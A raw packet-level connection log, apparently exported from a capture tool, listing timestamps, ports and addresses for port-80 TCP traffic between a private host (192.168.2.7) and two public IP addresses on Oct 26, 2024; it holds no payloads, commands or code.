Oct 26, 2024 08:53:50.377804041 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:50.377832890 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:50.377942085 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.377953053 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.377963066 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.377978086 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.377986908 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:50.378014088 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:50.420252085 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.420273066 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.420298100 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.420309067 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.420320034 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.420331001 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.420334101 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:50.420368910 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:50.420382023 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:50.495532990 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.495554924 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.495568991 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.495582104 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.495596886 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.495609045 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.495615959 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:50.495621920 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.495655060 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:50.495702982 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.495714903 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.495728016 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.495739937 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.495754004 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:50.495769978 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:50.537560940 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.537571907 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.537581921 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.537594080 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.537604094 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.537616014 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.537625074 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:50.537664890 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:50.579061031 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.579088926 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.579169035 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:50.612437963 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.612448931 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.612462044 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.612473011 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.612473011 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:50.612507105 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:50.612617970 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.612627029 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.612639904 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.612684965 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:50.612684965 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:50.612688065 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.612699986 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.612714052 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.612735987 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:50.612857103 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.612900972 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:50.612932920 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.612957001 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.613003969 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.613039970 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:50.655039072 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.655054092 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.655085087 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.655095100 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.655101061 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:50.655108929 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.655118942 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.655139923 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:50.655159950 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:50.729887009 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.729908943 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.729919910 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.729969025 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.729990005 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.730000019 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.730026007 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.730041981 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.730066061 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.730164051 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:50.730169058 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.730164051 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:50.730164051 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:50.730253935 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.730264902 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.730274916 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.730309963 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:50.730335951 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:50.772691011 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.772774935 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.772813082 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.772833109 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:50.772846937 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.772883892 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.772912025 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:50.931750059 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:50.932410955 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.932425976 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.932437897 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.932456017 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.932470083 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.932481050 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.932492018 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:50.932492971 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.932506084 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.932518005 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.932531118 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.932559967 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:50.932578087 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:50.932601929 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.932614088 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.932625055 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.932637930 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.932648897 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:50.932651997 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.932682991 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:50.932833910 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.932852030 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.932919979 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:51.045734882 CEST	49979	80	192.168.2.7	185.215.113.43
Oct 26, 2024 08:53:51.051345110 CEST	80	49979	185.215.113.43	192.168.2.7
Oct 26, 2024 08:53:51.051414013 CEST	49979	80	192.168.2.7	185.215.113.43
Oct 26, 2024 08:53:51.051578999 CEST	49979	80	192.168.2.7	185.215.113.43
Oct 26, 2024 08:53:51.056880951 CEST	80	49979	185.215.113.43	192.168.2.7
Oct 26, 2024 08:53:51.081971884 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.081988096 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.082007885 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.082019091 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.082031965 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.082040071 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:51.082042933 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.082056999 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.082070112 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.082076073 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:51.082087994 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.082099915 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.082104921 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:51.082112074 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.082139015 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:51.082159042 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:51.083045006 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.083079100 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.083091021 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.083122969 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.083123922 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:51.083328962 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:51.125998020 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.126013041 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.126024961 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.126081944 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:51.168411970 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.168427944 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.168440104 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.168464899 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:51.168509007 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:51.199260950 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.199274063 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.199286938 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.199316978 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:51.200321913 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.200333118 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.200381994 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:51.242964983 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.242985010 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.242995024 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.243009090 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:51.243048906 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:51.243161917 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.243172884 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.243181944 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.243201017 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:51.285706997 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.285720110 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.285731077 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.285743952 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.285759926 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:51.285789967 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:51.316723108 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.316734076 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.316750050 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.316768885 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:51.316788912 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:51.360202074 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.360222101 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.360232115 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.360241890 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.360264063 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:51.360274076 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:51.360377073 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.360387087 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.360397100 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.360409021 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.360418081 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:51.360445976 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:51.403415918 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.403429031 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.403440952 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.403480053 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.403492928 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.403490067 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:51.403506041 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.403528929 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:51.403556108 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:51.583523989 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.583539009 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.583549023 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.583554983 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.583561897 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.583569050 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.583655119 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:51.583745003 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.583759069 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.583770037 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.583782911 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.583795071 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.583800077 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.583811045 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.583811045 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:51.583825111 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.583837986 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.583842039 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:51.583863974 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:51.583889008 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.588211060 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:51.595071077 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.595082998 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.595257044 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:51.596302986 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.596313953 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.596327066 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.596339941 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.596354008 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:51.596380949 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:51.639323950 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.639337063 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.639348984 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.639360905 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.639373064 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:51.639405012 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:51.670031071 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.670042038 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.670087099 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:51.700783968 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.700823069 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.700984955 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:51.713704109 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.713716030 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.713728905 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.713778973 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:51.755176067 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.755187035 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.755234957 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:51.756541014 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.756553888 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.756565094 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.756587029 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:51.756606102 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:51.818265915 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.818294048 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.818317890 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.818329096 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.818344116 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.818345070 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:51.818370104 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:51.831198931 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.831208944 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.831286907 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.831298113 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:51.831345081 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.831346035 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:51.874182940 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.874339104 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.874350071 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.874361992 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.874366045 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.874396086 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:51.874427080 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:51.936148882 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.936163902 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.936177969 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.936189890 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.936214924 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.936225891 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.936229944 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:51.936275959 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:51.936275959 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:51.949014902 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.949028969 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.949054956 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.949067116 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.949081898 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:51.949104071 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:51.976042032 CEST	80	49979	185.215.113.43	192.168.2.7
Oct 26, 2024 08:53:51.976243973 CEST	49979	80	192.168.2.7	185.215.113.43
Oct 26, 2024 08:53:51.991193056 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.991245985 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.991264105 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.991277933 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:51.991291046 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:51.991342068 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:52.039279938 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.039294958 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.039305925 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.039334059 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:52.053183079 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.053234100 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.053284883 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:52.203677893 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.203706026 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.203732014 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.203746080 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.203761101 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.203767061 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:52.203772068 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.203783035 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.203794956 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.203803062 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:52.203824043 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.203835011 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.203840971 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:52.203852892 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.203875065 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:52.204174995 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.204186916 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.204207897 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:52.204256058 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.204267979 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.204281092 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.204296112 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:52.204359055 CEST	49759	80	192.168.2.7	185.215.113.16
